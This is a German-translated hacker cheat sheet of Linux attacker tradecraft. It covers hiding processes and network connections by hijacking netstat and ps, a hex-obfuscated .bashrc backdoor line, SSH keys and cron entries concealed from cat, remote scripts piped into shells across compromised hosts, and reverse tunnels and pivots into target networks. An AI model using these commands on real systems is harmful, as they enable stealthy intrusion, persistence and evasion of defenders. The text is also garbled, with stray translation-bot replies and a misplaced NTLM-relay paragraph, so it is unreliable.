
Various tips & tricks
Eine Sammlung unserer Lieblingstricks. Viele dieser Tricks stammen nicht von uns. Wir sammeln sie lediglich.
Wir zeigen die Tricks 'wie sie sind' ohne jede Erklärung, warum sie funktionieren. Du musst Linux kennen, um zu verstehen, wie und warum sie funktionieren.
Hast du Tricks? Mach mit bei uns https://thc.org/ops
1.i. Richte eine Hack-Shell (bash) ein:
Mache BASH weniger laut. Deaktiviert ~/.bash_history und viele andere Dinge.```sh source <(curl -SsfL https://thc.org/hs)
Alternative URL:```sh
source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)
Und wenn es kein curl/wget gibt, verwende surl und (temporär) installiertes curl mit bin curl.```sh
source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
bin curl to (temporarily) install curl (in memory).HackShell kann viel mehr, aber am wichtigsten ist Folgendes:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"
TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160
Wir verwenden anew häufig, und das ist eine schnelle Problemumgehung:```shell
xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; }
which anew &>/dev/null || alias anew=xanew
Bonus-Tipp:
Jeder Befehl, der mit einem " " (Leerzeichen) beginnt, wird ebenfalls [nicht im Verlauf gespeichert](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces).```
$ id
1.ii. Befehl verstecken / Befehl daemonisieren
Dadurch wird nur der Prozessname versteckt. Verwende zapper, um auch die Befehlszeilenoptionen zu verstecken.```shell (exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'
Starte einen 'nmap' im Hintergrund, versteckt als '/usr/sbin/sshd':```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)
Starten Sie in einem GNU screen:``` screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24
screen -x MyName
Alternativ können Sie die Binärdatei unter einem neuen Namen kopieren:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24
oder verwenden Sie stattdessen bind-mount, um /sbin/init (vorübergehend) auf /dev/shm/nmap zeigen zu lassen:```shell mount -n --bind "$(command -v nmap)" /sbin/init
(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)
<a id="zap"></a>
**1.iii. Verstecke deine Kommandozeilenoptionen**
Verwende [zapper](https://github.com/hackerschoice/zapper):```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper
I’m not able to see any content in your message. The INPUT section appears to be empty—there’s no text provided to translate. If you can paste the actual chunk content, I’ll translate it into German right away.```sh
./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24
(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)
exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux
<a id="bash-hide-connection"></a>
**1.iv. Eine Netzwerkverbindung verstecken**
Der Trick besteht darin, `netstat` zu kapern und mit grep unsere Verbindung herauszufiltern. Dieses Beispiel filtert jede Verbindung auf Port 31337 _oder_ IP 1.2.3.4 heraus. Dasselbe sollte für `ss` (eine netstat-Alternative) getan werden.
**Methode 1 - Eine Verbindung mit einer Bash-Funktion in ~/.bashrc verstecken**
Schneiden Sie dies aus und fügen Sie es ein, um die Zeile zu ~/.bashrc hinzuzufügen.```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc
Oder schneiden Sie dies aus und fügen Sie es für einen verschleierten Eintrag in /.bashrc ein:```shell
X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }'
echo "eval $(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>/.bashrc
&& touch -r /etc/passwd ~/.bashrc
Der verschleierte Eintrag in ~/.bashrc wird wie folgt aussehen:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG
Methode 2 - Verstecken einer Verbindung mit einer Binärdatei in $PATH
Erstellen Sie eine gefälschte netstat-Binärdatei in /usr/local/sbin. Auf einem Standard-Debian (und den meisten Linux-Systemen) listet die PATH-Variable (echo $PATH) /usr/local/sbin vor /usr/bin auf. Das bedeutet, dass unsere Hijacking-Binärdatei /usr/local/sbin/netstat anstelle von /usr/bin/netstat ausgeführt wird.```shell
echo '#! /bin/bash
exec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4' >/usr/local/sbin/netstat
&& chmod 755 /usr/local/sbin/netstat
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat
*(danke iamaskid)*
<a id="hide-a-process-user"></a>
**1.v. Einen Prozess als Benutzer verbergen**
Im Anschluss an „Hiding a connection“ kann dieselbe Technik verwendet werden, um einen Prozess zu verbergen. Dieses Beispiel verbirgt den nmap-Prozess und stellt außerdem sicher, dass unser `grep` nicht in der Prozessliste erscheint, indem es in GREP umbenannt wird:```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc
1.vi. Einen Prozess als Root verstecken
Dies erfordert Root-Rechte und ist ein alter Linux-Trick, indem man /proc/<pid> mit einem nutzlosen Verzeichnis übermounted:```sh hide() { [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; } _pid=${1:-$$} [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; } local _argstr for _x in "${@:2}"; do _argstr+=" '${_x//'/'"'"'}'"; done [[ $(bash -c "ps -o stat= -p $$") =~ + ]] || exec bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" }
Um einen Befehl zu verstecken, verwende:```sh
hide # Hides the current shell/PID
hide 31337 # Hides process with pid 31337
hide sleep 1234 # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null & # Starts and hides 'sleep 1234' as a background process
(thanks to druichi for improving this)
1.vii. Shell-Skripte verstecken
Oben haben wir besprochen, wie man eine Zeile in ~/.bashrc verschleiern kann. Ein häufig verwendeter Trick ist es, stattdessen source zu verwenden. Der source-Befehl kann zu . (ja, einem Punkt) verkürzt werden und durchsucht außerdem die $PATH-Variable, um die zu ladende Datei zu finden.
In diesem Beispiel enthält unser Skript prng alle unsere Shell-Funktionen von oben. Diese Funktionen verbergen den nmap-Prozess und die Netzwerkverbindung. Zuletzt fügen wir . prng in die systemweite rc-Datei ein. Dadurch wird prng geladen, wenn sich der Benutzer (und root) anmeldet:```shell
echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }
ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc
(Das Gleiche funktioniert für `lsof`, `ss` und `ls`)
<a id="cat"></a>
**1.viii. Vor cat verstecken**
ANSI-Escapezeichen oder ein einfaches `\r` ([Wagenrücklauf](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) können verwendet werden, um sich vor `cat` und anderen zu verstecken.
Verstecke den letzten Befehl (Beispiel: `id`) in `~/.bashrc`:```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.
Fügen Sie eine versteckte Crontab-Zeile hinzu:```sh (crontab -l; echo -e "0 2 * * * { id; date;} 2>/dev/null >/tmp/.thc-was-here #\033[2K\033[1A") | crontab
Das Hinzufügen eines `\r` (Wagenrücklauf) hilft sehr dabei, deinen SSH-Schlüssel vor `cat` zu verstecken:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).
1.ix. Parallel mit separaten Logdateien ausführen*
Hinweis: Das Gleiche kann mit parallel erreicht werden.
Scanne Hosts mit 20 parallelen Aufgaben:```sh cat hosts.txt | xargs -P20 -I{} --process-slot-var=SLOT bash -c 'exec nmap -n -Pn -sV -F --open -oG - {} >>"nmap_${SLOT}.txt"'
- `exec` wird verwendet, um die zugrunde liegende Shell durch den letzten Prozess (nmap) zu ersetzen. Es ist optional, reduziert aber die Anzahl der laufenden/unnötigen Shell-Binaries.
- `${SLOT}` enthält einen Wert zwischen 0..19. Es ist die „Aufgabennummer“. Wir verwenden es, um die nmap-Ergebnisse in 20 separate Dateien zu schreiben.
Führen Sie [Linpeas](https://github.com/carlospolop/PEASS-ng) auf allen [gsocket](https://www.gsocket.io/deploy)-Hosts mit 40 Workern aus:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'
Verhindert, dass du im w- oder who-Befehl auftauchst, und verhindert, dass der Host in ~/.ssh/known_hosts protokolliert wird.```sh ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"
Voller Komfort mit PTY und Farben: `xssh [email protected]````sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
local ttyp="$(stty -g)"
echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
stty raw -echo icrnl opost
[[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
"$@" \
"unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
stty "${ttyp}"
}
(See Hackshell)
2.ii Mehrere Shells über eine SSH/TCP-Verbindung
Nutzen Sie eine TCP-Verbindung zum Ziel und ermöglichen Sie mehreren Benutzern, dieselbe TCP-Verbindung mitzunutzen, um weitere Shell-Sitzungen zu öffnen.
Erstellen Sie eine Master-Verbindung:```sh ssh -M -S .sshmux [email protected]
Erstellen Sie weitere Shell-Sitzungen über dieselbe (einzelne) Master-TCP-Verbindung von oben (kein Passwort/Authentifizierung erforderlich):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .
Kann mit xssh kombiniert werden, um sich vor utmp zu verstecken.
Wir nutzen das ständig, um lokale Firewalls und IP-Filterung zu umgehen:```sh ssh -g -L31337:1.2.3.4:80 [email protected]
Du oder jeder andere kann sich jetzt mit deinem Computer auf Port 31337 verbinden und wird zu 1.2.3.4 Port 80 getunnelt und erscheint mit der Quell-IP von 'server.org'. Eine Alternative und ohne die Notwendigkeit eines Servers ist die Verwendung von [gs-netcat](#backdoor-network).
Clevere Hacker verwenden die Tastenkombination `~C`, um diese Tunnel dynamisch zu erstellen, ohne die SSH-Verbindung neu aufbauen zu müssen. (Dank an MessedeDegod).
Wir verwenden dies, um einem Freund Zugriff auf eine interne Maschine zu geben, die sich nicht im öffentlichen Internet befindet:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]
Jeder, der sich mit server.org:31338 verbindet, wird über deinen Computer zu 192.168.0.5 auf Port 80 getunnelt. Eine Alternative, die ohne Server auskommt, ist die Verwendung von gs-netcat.
OpenSSH 7.6 unterstützt socks für dynamisches Forwarding. Beispiel: Tunnel den gesamten Browserverkehr über deinen Server.```sh ssh -D 1080 [email protected]
Konfigurieren Sie nun Ihren Browser, um SOCKS mit 127.0.0.1:1080 zu verwenden. Der gesamte Datenverkehr wird jetzt durch *server.org* getunnelt und erscheint mit der Quell-IP von *server.org*. Eine Alternative, die keinen Server benötigt, ist die Verwendung von [gs-netcat](#backdoor-network).
Dies ist die Umkehrung des obigen Beispiels. Es gibt anderen Zugriff auf Ihr *lokales* Netzwerk oder lässt andere Ihren Computer als Tunnel-Endpunkt verwenden.```sh
ssh -g -R 1080 [email protected]
Die anderen konfigurieren server.org:1080 als ihren SOCKS4/5-Proxy. Sie können sich nun mit jedem Computer auf jedem Port verbinden, auf den dein Computer Zugriff hat. Dies umfasst den Zugriff auf Computer hinter deiner Firewall, die sich in deinem lokalen Netzwerk befinden. Eine Alternative, die keinen Server erfordert, ist die Verwendung von gs-netcat.
2.v SSH zu einem Host hinter NAT
ssh-j.com bietet einen großartigen Relay-Dienst: um auf einen Host hinter NAT/Firewall (per SSH) zuzugreifen.
Auf dem Host hinter NAT: Erstelle einen Reverse-SSH-Tunnel zu ssh-j.com wie folgt:```sh
sshj() { local pw pw=${1,,} [[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; } echo "Press Ctrl-C to stop this tunnel." echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22} }
sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected sshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel ID sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN
Verwenden Sie dann diesen Befehl von überall auf der Welt, um sich als 'root' mit 'foobarblahblub' (dem Host hinter dem NAT) zu verbinden:```sh
ssh -J [email protected] root@foobarblahblub
Die SSH-Verbindung läuft über ssh-j.com in den Reverse-Tunnel zum Host hinter NAT. Der Datenverkehr ist Ende-zu-Ende verschlüsselt und ssh-j.com kann den Inhalt nicht sehen.
2.vi SSH-Pivoting zu mehreren Servern
SSH ProxyJump kann Ihnen viel Zeit und Mühe ersparen, wenn Sie mit entfernten Servern arbeiten. Nehmen wir folgendes Szenario an:
Unsere Workstation ist $local-kali und wir möchten per SSH auf $target-host zugreifen. Es gibt keine direkte Verbindung zwischen unserer Workstation und $target-host. Unsere Workstation kann nur $C2 erreichen. $C2 kann $internal-jumphost erreichen (über internes eth1) und $internal-jumphost kann den finalen $target-host über eth2 erreichen.```sh
$local-kali -> $C2 -> $internal-jumphost -> $target-host
eth0 192.168.8.160 10.25.237.119
eth1 192.168.5.130 192.168.5.135
eth2 172.16.2.120 172.16.2.121
> Wir führen `ssh` auf keinem Computer aus, außer auf unserer vertrauenswürdigen Workstation – und das solltet auch ihr (niemals) tun.
Genau dabei hilft ProxyJump: Wir können über die zwei Zwischenserver $C2 und $internal-jumphost „springen" (ohne auf diesen Servern eine Shell zu starten). Die ssh-Verbindung ist Ende-zu-Ende zwischen unserer $local-kali und $target-host verschlüsselt, und weder Passwort noch Schlüssel wird $C2 oder $internal-jumphost offengelegt.```sh
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]
## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]
Wir verwenden dies auch, um unsere IP-Adresse zu verbergen, wenn wir uns bei Servern anmelden.
Es ist möglich, einen SSHD-Server als Nicht-Root-Benutzer zu starten und diesen zum Multiplexen oder Weiterleiten von TCP-Verbindungen zu verwenden (ohne Logging und wenn der systemweite SSHD das Weiterleiten/Multiplexen verbietet) oder als schnellen Exfil-Dump-Server, der als Nicht-Root-Benutzer läuft:```sh
mkdir -p /.ssh 2>/dev/null
ssh-keygen -q -N "" -t ed25519 -f sshd_key
cat sshd_key.pub >>/.ssh/authorized_keys
cat sshd_key
$(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv
```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io
SSF ist eine alternative Möglichkeit, TCP über TLS zu multiplexen.
nmap -n -sn -PR -oG - 192.168.0.1/24
Please provide the Markdown content to translate.```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24
I'm ready to translate the chunk. However, the input section appears to be empty—no Markdown content was provided for chunk 84 of 494.
Please provide the actual chunk content so I can translate it from English to German following all the specified rules.```sh
seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1
---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'
## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done
## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'
3.iii. Tunnel und Weiterleitung```sh
socat stdio openssl-connect:smtp.gmail.com:465
openssl s_client -connect smtp.gmail.com:465
I'm ready to translate, but no content was provided after "INPUT:". Please supply the chunk text you'd like translated.```sh
## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork openssl-connect:smtp.gmail.com:465
Nützlich für Reverse-Backdoors, die einen TCP-Port auf einer öffentlichen IP-Adresse benötigen:
Verwendung von segfault.net (kostenlos):```sh
curl sf/port echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)" nc -vnlp $(cat /config/self/reverse_port)
Verwendung von [bore.pub](https://github.com/ekzhang/bore) (kostenlos):```sh
# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub
mit serveo.net (kostenlos):```sh
ssh -R 0:localhost:31337 [email protected]
mit [pinggy.io](https://www.pinggy.io) (60 Min. kostenlos):```sh
ssh -p 443 -R 0:localhost:31337 [email protected]
Siehe auch remote.moe (kostenlos), um rohes TCP vom Zielsystem an Ihre Workstation weiterzuleiten, oder playit (kostenlos) oder ngrok (kostenpflichtiges Abonnement), um einen öffentlichen Raw-TCP-Port weiterzuleiten.
Andere kostenlose Dienste sind darauf beschränkt, nur HTTPS weiterzuleiten (kein raw TCP). Einige Tricks weiter unten zeigen, wie man raw TCP über HTTPS-Weiterleitungen tunneln kann (mittels WebSockets).
Verwenden Sie auf dem Server einen dieser drei HTTPS-Tunnel-Dienste:```sh
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 chmod 755 cloudflared cloudflared tunnel --url http://localhost:8080 --no-autoupdate
Beide Dienste generieren eine neue temporäre HTTPS-URL, die du verwenden kannst.
Verwende dann [websocat](https://github.com/vi/websocat) oder [Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) an beiden Enden, um rohes TCP über die HTTPS-URL zu tunneln:
A. Eine einfache STDIN/STDOUT-Pipe über HTTPS:```sh
### On the server convert WebSocket to raw TCP:
websocat -s 8080
### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>
B. Rohes TCP über HTTPS weiterleiten:```sh
gost -L mws://:8080
Leiten Sie Port 2222 an Port 22 des Servers weiter.```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222
oder verwenden Sie den Server als Socks-Proxy-EXIT-Knoten (z. B. über den Server auf einen beliebigen Host im Netzwerk des Servers oder sogar auf das Internet zugreifen (unter Verwendung des HTTPS-Reverse-Tunnels von oben):```sh
gost -L :1080 -F 'mwss://:443'
curl -x socks5h://0 ipinfo.io
Mehr: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) und [Tunnel via Cloudflare zu jedem TCP-Dienst](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) und [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).
---
<a id="iptables"></a>
**3.iii.c Verkehr mit iptables weiterleiten**
Leite Verkehr über einen Host/Router um, ohne einen Userland-Proxy oder Forwarder ausführen zu müssen:```sh
bounceinit() {
echo 1 >/proc/sys/net/ipv4/ip_forward
echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
[ $# -le 0 ] && set -- "0.0.0.0/0"
while [ $# -gt 0 ]; do
iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188
shift 1
done
iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce
(Siehe Hackshell bounce)
Dann richten Sie die Weiterleitungen wie folgt ein:```sh bounce 31337 144.76.220.20 22 # Bounce 31337 to segfault's ssh port. bounce 31338 127.0.0.1 8080 # Bounce 31338 to the server's 8080 (localhost) bounce 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443
Wir verwenden diesen Trick, um das gsocket-relay-network (oder TOR) aus tief in Firewall-geschützten Netzwerken zu erreichen.```sh
# Deploy on a target that can only reach 192.168.0.100
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh
# Access the target
GS_HOST=213.171.212.212 gs-netcat -i -s ...
Nützlich auf einem Host im Zielnetzwerk. Dieses Tool konfiguriert die SHELL neu (ohne Spuren zu hinterlassen): Jedes Programm (nmap, cme, ...), das von dieser SHELL aus gestartet wird, verwendet eine gefälschte IP. Alle Ihre Angriffe stammen von einem Host, der nicht existiert.```sh source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)
Dies funktioniert auch in Kombination mit:
* [Segfault's ROOT Servers](https://thc.org/segfault/wireguard): Verbindet deinen ROOT Server mit dem ZIELNETZWERK und verwendet eine Ghost-IP innerhalb des Zielnetzwerks.
* [QEMU Tunnels](https://securelist.com/network-tunneling-with-qemu/111803/): Wie oben, aber weniger sicher.
---
<a id="tunnel-more"></a>
**3.vi.d Verschiedene Tunnel-Tricks**
### Tunnel über CDN
* Lies [How to tunnel any TCP service via CloudFlare](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) oder nutze [DarkFlare](https://github.com/doxx/darkflare).
### Verbinde deinen Host direkt mit dem entfernten Netzwerk
* [WireTap](https://github.com/sandialabs/wiretap) - Funktioniert als Benutzer oder Root. Verwendet UDP als Transport. ([Teste es](https://thc.org/segfault/wireguard) auf segfault.)
* [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - Verwendet TCP als Transport. Funktioniert gut über [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) oder gs-netcat.
### SSH als preiswerten Reverse-Proxy über Cloudflare nutzen
Diese Methode ähnelt den [HTTPS-Reverse-Tunneln](#https), verwendet aber SSH anstelle von Gost oder websocat.
- Vorteil: Verwendet auf dem Ziel nur *cloudflared* und *SSH*.
- Nachteil: Erfordert ein CF-Abonnement.
1. Gehe zu deinem CF-Dashboard -> Zero Trust -> Networks -> Tunnels
2. Erstelle einen neuen 'Cloudflared'-Tunnel mit einem beliebigen Namen.
3. Wähle Debian & 64-bit. Der Token wird nicht vollständig angezeigt. Extrahiere den "Token", indem du den ausgegrauten Bereich in ein separates Dokument kopierst, um den gesamten Token sichtbar zu machen (die langen Hex-Strings nach `sudo cloudflared service install <TunnelTokenHere>`).
4. Füge eine Subdomain hinzu (das Beispiel verwendet `ssh.team-teso.net`).
5. Setze Type=TCP URL=localhost:22```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere
NTLM-Relay ist eine Art von Active-Directory-Angriff, bei dem ein Angreifer eine Maschine dazu bringt, sich gegenüber einer vom Angreifer kontrollierten Ressource zu authentifizieren. Der Angreifer kennt das Passwort nicht – er sitzt einfach zwischen einem Client und einem Server und leitet den Authentifizierungsversuch weiter.```shell
ssh -o ProxyCommand="cloudflared access tcp --hostname ssh.team-teso.net" root@0 -R 1080
Please provide the Markdown content to translate.```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io
Verwenden Sie ProxyChains oder GrafTCP zum Tunneln anderer Protokolle über den Reverse-Proxy.
3.iv. Beliebige Tools über Socks Proxy verwenden
Im Netzwerk des Ziels:```sh
gs-netcat -l -S
Auf Ihrer Workstation:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080
echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf proxychains -f pc.conf -q curl ipinfo.io
proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1
seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}
### Verwendung von GrafTCP:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1
3.v. Ermitteln Sie Ihre öffentliche IP-Adresse```sh curl -s wtfismyip.com/json | jq curl ifconfig.me dig +short myip.opendns.com @resolver1.opendns.com host myip.opendns.com resolver1.opendns.com
Ermitteln Sie Geolokalisierungsinformationen zu einer beliebigen IP-Adresse:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8
ASN-Informationen per IP-Adresse abrufen:```sh asn() { [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; } (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2 } asn 1.1.1.1 # Single IP Lookup cat IPS.txt | asn # Bulk Lookup
Prüfen, ob TOR funktioniert:```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...
3.vi. Erreichbarkeit aus der ganzen Welt prüfen
Die netten Leute von https://ping.pe/ ermöglichen es Ihnen, einen Host von überall auf der Welt per Ping/Traceroute/mtr/dig/Port-Check zu prüfen, TCP-Ports zu überprüfen, einen Domainnamen aufzulösen, ...und viele andere Dinge.
Um zu überprüfen, wie gut Ihr (aktueller) Host das Internet erreichen kann, verwenden Sie OONI Probe:```sh ooniprobe run im ooniprobe run websites ooniprobe list ooniprobe list 1
---
<a id="check-open-ports"></a>
**3.vii. Offene Ports auf einer IP prüfen/scannen**
Port-Lookup-Dienst von [Censys](https://search.censys.io/) oder [Shodan](https://internetdb.shodan.io):```shell
curl https://internetdb.shodan.io/1.1.1.1
Schneller (-F) Schwachstellen-Scan```shell
